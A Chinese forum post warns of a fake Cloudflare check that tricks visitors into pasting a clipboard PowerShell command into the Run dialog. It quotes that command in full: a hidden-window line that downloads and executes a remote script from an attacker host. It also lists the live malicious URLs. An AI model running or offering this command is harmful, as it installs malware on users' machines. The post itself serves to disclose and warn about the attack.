一次险些中招的经历：伪装 Cloudflare 验证诱导运行恶意代码

请勿点击以下链接或运行任何相关代码，可能导致电脑遭受攻击！！！

今天遇到了一件非常值得警惕的事情，希望分享出来提醒大家。我在浏览 GitHub issue 时，从回复中点击了一个链接：https://newrides.es/captha/cap/。页面显示的是一个看似正常的 Cloudflare 验证框，当时没多想就点击了按钮。

然而，验证却提示我的浏览器不支持，并引导我点击一个 Fix it! 按钮。我立马点击了这个按钮。紧接着，网站弹出了以下三步指示：

1. 按 Win+R按钮
2. 按Ctrl+V按钮
3. 按Enter按钮

就在这时，网站悄悄地往我的剪贴板里复制了一段 PowerShell 代码：

powershell -WindowStyle Hidden -Command ([ScriptBlock]::Create((irm http://customamusement.com/pagecable/guardoffice))).Invoke() 

我立刻意识到这是一个 PowerShell 脚本，其作用是静默下载并执行来自 http://customamusement.com/pagecable/guardoffice 的远程脚本。这极有可能是一个木马程序或者后门！

出于好奇，我打开了远程链接查看了代码，发现内容是从 http://customamusement.com/pagecable/walkbutter 下载一个文件并执行，但是这个文件经过 RC4 加密，直接查看内容是乱码，短时间内难以分析其具体恶意行为，感兴趣的 v 友可以分析一下。

之所以发这个帖子，是因为这种攻击手法非常狡猾，利用了用户对 Cloudflare 验证的信任以及急于解决问题的心理，极易被用于传播木马、后门或其他恶意软件。我幸运地在执行 Enter 那一步停了下来，但很多不熟悉计算机的用户很可能会毫无防备地运行这段代码，或者仅仅因为好奇点击了链接，从而导致电脑被入侵。